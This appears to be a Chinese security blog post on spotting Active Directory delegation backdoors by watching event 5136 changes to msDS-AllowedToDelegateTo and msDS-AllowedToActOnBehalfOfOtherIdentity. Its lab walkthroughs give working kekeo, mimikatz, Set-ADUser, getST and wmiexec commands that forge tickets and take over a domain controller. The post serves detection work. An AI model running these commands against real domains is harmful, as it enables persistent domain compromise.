01、简介

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。攻击者在获取到域控权限后,可以利用约束委派或者基于资源的约束委派实现后门,以实现达到维持权限的目的。

基于AD Event日志监视对特定 Active Directory 属性的修改,从而发现可疑的域委派后门。

02、约束委派攻击场景

假设服务账号配置了到域控的约束性委派,当攻击者控制了服务账号,就可以伪造任意用户的TGT,来打造一个变种的黄金票据。

(1)设置约束委派

setspn -U -A cifs/test  test

基于AD Event日志监测域委派后门_网络

(2)构造服务账户test的票据

kekeo.exe "tgt::ask /user:test /domain:evil.com /password:abc123! /ticket:test.kirbi" "exit"

基于AD Event日志监测域委派后门_python_02

(3)利用伪造的票据,向域服务器申请CIFS服务票据。

kekeo.exe "tgs::s4u /tgt:TGT_test@EVIL.COM_krbtgt~evil.com@EVIL.COM.kirbi /user:administrator@evil.com /service:cifs/WIN-DC01" "exit"

基于AD Event日志监测域委派后门_python_03

(4)使用mimikatz将该票据注入当前的会话中。

mimikatz.exe "kerberos::ptt TGS_administrator@evil.com@EVIL.COM_test@EVIL.COM.kirbi" "exit"

基于AD Event日志监测域委派后门_bc_04

(5)访问目标共享盘。

dir \\win-dc01\c$

基于AD Event日志监测域委派后门_ci_05

检测方法:攻击手法的核心点在于攻击者需要修改msDS-AllowedToDelegateTo属性,因此我们只需要检测对msDS-AllowedToDelegateTo属性的修改,可以通过5136日志来监控。

基于AD Event日志监测域委派后门_ci_06

安全规则:

基于AD Event日志监测域委派后门_网络_07

03、基于资源的约束委派攻击场景

攻击者在获取到域控权限后,可以利用基于资源的约束委派实现后门,通过对krbtgt用户设置委派属性,以实现达到维持权限的目的。

(1)设置属性值并查询

Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

基于AD Event日志监测域委派后门_ci_08

(2)获取ST,并使用wmiexec登录域控。

python getST.py -dc-ip 192.168.44.136 -spn krbtgt -impersonate administrator evil.com/test:abc123!
set KRB5CCNAME=administrator.ccache
python wmiexec.py -no-pass -k administrator@win-dc01 -dc-ip 192.168.44.136

基于AD Event日志监测域委派后门_网络_09

检测方法:攻击手法的核心点在于攻击者需要修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,因此我们只需要检测对msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改,可以通过5136日志来监控。

基于AD Event日志监测域委派后门_网络_10

安全规则:

基于AD Event日志监测域委派后门_bc_11